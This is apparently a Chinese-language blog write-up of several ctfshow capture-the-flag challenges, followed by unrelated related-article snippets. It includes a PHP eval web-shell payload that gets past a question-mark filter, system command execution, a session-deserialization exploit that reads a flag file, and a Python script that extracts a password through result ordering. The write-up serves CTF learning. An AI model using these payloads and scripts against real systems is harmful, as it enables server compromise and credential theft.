ctfshow解题,知识点学习

1.easy_zip(misc)

1)打开环境后是一个压缩包,解压里面有个flag.txt文件需要密码,

2)直接用工具爆破,即可找到密码

2.easy_eval

1)进入题目环境,先进行代码审计

首先说是要使用post传参,传入参数code

然后是str_replace()把字符串中某一的字符,换成另了空格字符并且区分大小写。

然后存在一个过滤,把问号过滤掉了。

所以我们常见的<?php  ?><? ?>就不可以用了。但是我们还可以用<script></script>

这种php标签可以不用问号。

2)根据代码审计结果,构建传入的参数

code=<script language='PHP'>eval($ POST["cmd"]);</script>&cmd=system("ls")

注:通过eval()函数来执行通过POST请求发送的cmd参数中的命令。但是,<script>标签是HTML中用于JavaScript代码的标签,这里<?php  ?><? ?>被过滤,所以才使用该标签,所以它并不是PHP的语法。

3)发现出现回显,有index.php文件,然后查询一下有没有flag

&cmd=system("find /f*");

4)有回显,说明有flag,直接cat

3.剪刀石头布

1)

注:ini_set是PHP内置的函数,用于在运行时更改配置选项的值。通过调用ini_set函数,可以修改php.ini文件中的配置设置,而无需手动编辑配置文件

2)进来看到getflag,点击说是要赢一百才能拿到flag

3)查看源码,里面有提示

看着ini_set('session.serialize_handler', 'php'),这里应该又是反序列化了

这里它还给了phpinfo界面,查看一下

因为反序列化我还不太懂,就找了篇大佬的php来看了下

他是这样说的:这里我们可以发现服务器使用的处理器为php_serialize,与当前页面处理器不同,在反序列化的时候会造成一些问题。同时cleanup配置没开,关闭了session自动清理,所以我们不需要进行条件竞争。并且我们可以通过session上传进度来传递我们的反序列化串。再看我们主要用到的类。

__destruct方法中有file_get_contents函数可以来读取flag.所以这题主要思路就是构造序列化串利用服务器处理器不同造成的安全问题通过 PHP_SESSION_UPLOAD_PROGRESS来提交我们的序列化串。 在这里对session反序列化进行简单说明。网上相关讲解也很多

这里需要修改类属性

<?php
class Game{
    public $log;
    public function __construct()
    {
        $this->log = "/var/www/html/flag.php";
    }
}
$a = new Game();
echo serialize($a);
//|O:4:"Game":1:{s:3:"log";s:22:"/var/www/html/flag.php";}
?>

然后就是利用session上传进度提交我们的序列化串了,

<!doctype html>
<html>
<body>
<form action="http://793869b1-2080-446e-9066-25f43d926b25.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
 <input type="file" name="file" />
    <input type="submit" />
</form>
</body>
</html>

然后抓包改数据包,修改文件名为序列化串,然后发送得到flag

4.CTFshow web1

1)进入题目环境,又是一个弱密码的爆破界面

2)先看一下源码

貌似这里有提示,简单分析一下

  1. var p=$.md5($(".password").val());:这行代码使用了一个 JavaScript 库中的 md5 函数,该函数用于计算字符串的 MD5 散列值。根据代码中的写法,似乎是通过 jQuery 库的 $ 对象来调用 md5 函数。它首先获取了类名为 .password 的输入框的值,然后计算其 MD5 散列值,并将结果存储在变量 p 中。

  2. $(".password").val(p);:这行代码将计算出的 MD5 散列值设置为类名为 .password 的输入框的值。换句话说,它将用户输入的密码转换为 MD5 散列值,并将该散列值填充到密码输入框中,

3)试了一下,还是直接扫一下看看

4)扫出来www.zip文件

5)依次打开几个文件

login.php能禁的基本都禁干净了,登录页面貌似没有注入的可能。reg.php也是如此,所以注册页面也没可能了。剩下最后一个就是显示信息的页面了。这里可以看到在数据库中是把所有的字段(包括密码)都给查出来了,但是没有显示密码的地方

我们可以利用?order=pwd来判断注册的密码与flag用户密码的大小(即 select * from user order by pwd;),当我们按照pwd排序时,比如 flag用户的密码为flag{123},我们从小到大 一直到f都在他的上面,当我们注册的密码为g时,则出现第一个在下面的
顺序大致是这样,这时我们就可以判断密码的第一个字符为f,这里还是用python代码比较快,

直接拿大佬的脚本来跑一下即可得到flag

#author 羽
import requests
url="https://fa8f49b7-5fc6-4dcb-97a1-b0e842429a9b.chall.ctf.show"
url1=url+"/reg.php" #注册页面
url2=url+"/login.php"#登录界面
url3=url+"/user_main.php?order=pwd" #查询界面
k=""
s="-.0123456789:abcdefghijklmnopqrstuvwxyz{|}~"
for j in range(0,45):
    print("*")
    for i in s:
        #print(i)
        l=""
        l=k+i
        l2 = k+chr(ord(i)-1)
        data={'username':l,
                    'email':'c',
                    'nickname':'c',
                    'password':l
        }
        data2={'username':l,
                      'password':l
        }
        if (l=='flag'):
            k='flag'
            print(k)
            break
        session = requests.session()
        r1 = session.post(url1,data)
        r2 = session.post(url2,data)
        r3 = session.get(url3)
        t = r3.text
        #print(l)
        if (t.index("<td>"+l+"</td>")>t.index("<td>flag@ctf.show</td>")):
            k=l2
            print(k)
            break
         

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/679183.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【前端技术】 ES6 介绍及常用语法说明

&#x1f604; 19年之后由于某些原因断更了三年&#xff0c;23年重新扬帆起航&#xff0c;推出更多优质博文&#xff0c;希望大家多多支持&#xff5e; &#x1f337; 古之立大事者&#xff0c;不惟有超世之才&#xff0c;亦必有坚忍不拔之志 &#x1f390; 个人CSND主页——Mi…

个人网站建设方案书

个人网站建设方案书 一、项目背景 随着互联网的迅猛发展&#xff0c;个人网站已经成为展示个人能力、情感表达的重要平台。无论是个人品牌推广&#xff0c;还是个人作品展示&#xff0c;个人网站都能够为个人提供一个独特的展示空间。因此&#xff0c;建设一个个人网站已经成为…

【AIGC】PULID:对比对齐的ID定制化技术

论文链接&#xff1a;https://arxiv.org/pdf/2404.16022 github&#xff1a;https://github.com/ToTheBeginning/PuLID comfyui节点&#xff1a;GitHub - cubiq/PuLID_ComfyUI: PuLID native implementation for ComfyUI 论文亮点 增加了对比对齐loss和ID loss,最大限度减少…

MoE 大模型的前世今生

节前&#xff0c;我们星球组织了一场算法岗技术&面试讨论会&#xff0c;邀请了一些互联网大厂朋友、参加社招和校招面试的同学。 针对算法岗技术趋势、大模型落地项目经验分享、新手如何入门算法岗、该如何准备、面试常考点分享等热门话题进行了深入的讨论。 合集&#x…

【TB作品】MSP430G2553单片机读取DS18B20温度传感器,OLED显示

功能 MSP430G2553单片机读取DS18B20 0.96寸 IIC 四针OLED 部分程序 uint temp_value 0; /* 温度 */ int main(void) {unsigned char xianshi[10];WDTCTL WDTPW WDTHOLD; /* Stop WDT */OLED_Init(); /* OLED初始化 *///显示汉字 温度&#xff1a;摄氏度OLED_ShowCHinese(…

Socket编程学习笔记之TCP与UDP

Socket&#xff1a; Socket是什么呢&#xff1f; 是一套用于不同主机间通讯的API&#xff0c;是应用层与TCP/IP协议族通信的中间软件抽象层。 是一组接口。在设计模式中&#xff0c;Socket其实就是一个门面模式&#xff0c;它把复杂的TCP/IP协议族隐藏在Socket接口后面&#…

npm install 出错,‘proxy‘ config is set properly. See: ‘npm help config‘

背景 从远程clone下项目之后&#xff0c;使用命令 npm install 安装依赖&#xff0c;报错如下 意为&#xff1a; 报错&#xff1a; npm犯错!network与网络连通性有关的问题。 npm犯错!网络在大多数情况下&#xff0c;你背后的代理或有坏的网络设置。 npm犯错!网络 npm犯错…

C++基础与深度解析 | 类进阶 | 运算符重载 | 类的继承 | 虚函数

文章目录 一、运算符重载二、类的继承1.类的继承2.虚函数 一、运算符重载 在C中&#xff0c;operator关键字用于重载运算符&#xff0c;使得类的实例可以使用内置的操作符&#xff08;如、-、*、/等&#xff09;进行操作。 运算符重载的特性&#xff1a; 重载不能发明新的运算…

Fast-Retry:一个支持百万级多任务异步重试框架【送源码】

前言 假设你的系统里有100万个用户&#xff0c;然后你要轮询重试的获取每个用户的身份信息, 如果你还在使用SpringRetry和GuavaRetry 之类的这种单任务的同步重试框架&#xff0c;那你可能到猴年马月也处理不完&#xff0c;即使加再多的机器和线程也是杯水车薪&#xff0c;而F…

6.4 cf E(题目难理解)

Problem - E - Codeforces 翻译&#xff1a; 小车在0点&#xff0c;时间为0时开始移动&#xff0c;从0&#xff0c;a1,a2......ak有k1个标志点&#xff0c;对应的时间为0&#xff0c;b1,b2...bk 在任意两个标志间&#xff0c;小车以匀速行驶&#xff0c;所以 vai1​−ai​​…

SpringBoot 统一返回格式

目录 一、为什么要统一返回&#xff1f; 二、全局异常处理代码 三、统一返回对象代码 四、使用方法 五、结果展示 一、为什么要统一返回&#xff1f; 在Spring Boot应用中&#xff0c;为了保持API接口的响应格式统一&#xff0c;通常会采用全局异常处理和自定义返回对象的方…

Sd-CDA (自退化对比域适应框架):解决工业故障诊断中数据不平衡问题

现代工业故障诊断任务常常面临分布差异和双不平衡的双重挑战。现有的域适应方法很少关注普遍存在的双不平衡问题&#xff0c;导致域适应性能差或甚至产生负面迁移。在这项工作中&#xff0c;提出了一种自降级对比域适应&#xff08;SdCDA&#xff09;诊断框架&#xff0c;用于处…

如何实现单例模式及不同实现方法分析-设计模式

这是 一道面试常考题&#xff1a;&#xff08;经常会在面试中让手写一下&#xff09; 什么是单例模式 【问什么是单例模式时&#xff0c;不要答非所问&#xff0c;给出单例模式有两种类型之类的回答&#xff0c;要围绕单例模式的定义去展开。】 单例模式是指在内存中只会创建…

Nginx location 与 Rewrite

Nginx正则表达式 location 通过前缀或正则匹配用户的URL访问路径做页面跳转、访问控制和代理转发 location 大致可以分为三类&#xff1a; 精准匹配&#xff1a;location / {...} 一般匹配&#xff1a;location / {...} 正则匹配&#xff1a;location ~ / {...} location…

外汇天眼:Bitpanda 扩大与德意志银行的合作

金融科技独角兽Bitpanda正在扩大与德意志银行的合作&#xff0c;为德国用户提供实时支付解决方案&#xff0c;以处理进出交易。 这种基于API的账户解决方案将使Bitpanda能够访问德国的IBAN账户&#xff0c;优化和增强用户体验&#xff0c;同时确保信任、速度和效率。 这只是Bi…

通过仪器分类方式修订看监测仪器发展新趋势

随着科技的进步和监测需求的不断升级&#xff0c;监测仪器的分类方式亟需与时俱进。本文旨在探讨《混凝土坝监测仪器系列型谱》中对现有仪器分类方式的修订&#xff0c;以及监测仪器发展的新趋势相关内容。 一、仪器分类方式的修订 传统的仪器分类方式往往基于功能、原理或应用…

太极图形课——渲染——光线追踪实战第一部分呢

根据概念部分我们逐步通过太极实现光线追踪 总共可以分为5步 第一步&#xff1a;如何发射出一道光&#xff1f; 首先明确何为一道光&#xff0c;光从我们眼睛&#xff08;摄像机&#xff09;射出&#xff0c;那么在三维虚拟世界里&#xff0c;我们可以认为这道光就是一条射线…

【微信小程序】事件绑定和事件对象

文章目录 1.什么是事件绑定2.button组件3.事件绑定4.input组件 1.什么是事件绑定 小程序中绑定事件与在网页开发中绑定事件几乎一致&#xff0c;只不过在小程序不能通过on的方式绑定事件&#xff0c;也没有click等事件&#xff0c;小程序中 绑定事件使用bind方法&#xff0c;c…

6个音效、配乐素材网站,免费可商用

视频剪辑必备的6个音效、配乐素材网站&#xff0c;免费下载&#xff0c;剪辑师们赶紧收藏&#xff01; 1、菜鸟图库 音效素材下载_mp3音效大全 - 菜鸟图库 菜鸟图库音效素材免费下载。站内不仅有大量音频素材&#xff0c;还有很多设计、办公、图片、视频等素材。音频素材全部都…

2024年端午节放假通知

致尊敬的客户以及全体同仁&#xff1a; 2024年端午节将至&#xff0c;根据国务院办公厅通知精神&#xff0c;结合公司的实际情况&#xff0c;现将放假事宜通知如下&#xff1a; 2024年6月8日&#xff08;星期六&#xff09;至6月10日&#xff08;星期一&#xff09;&#xff…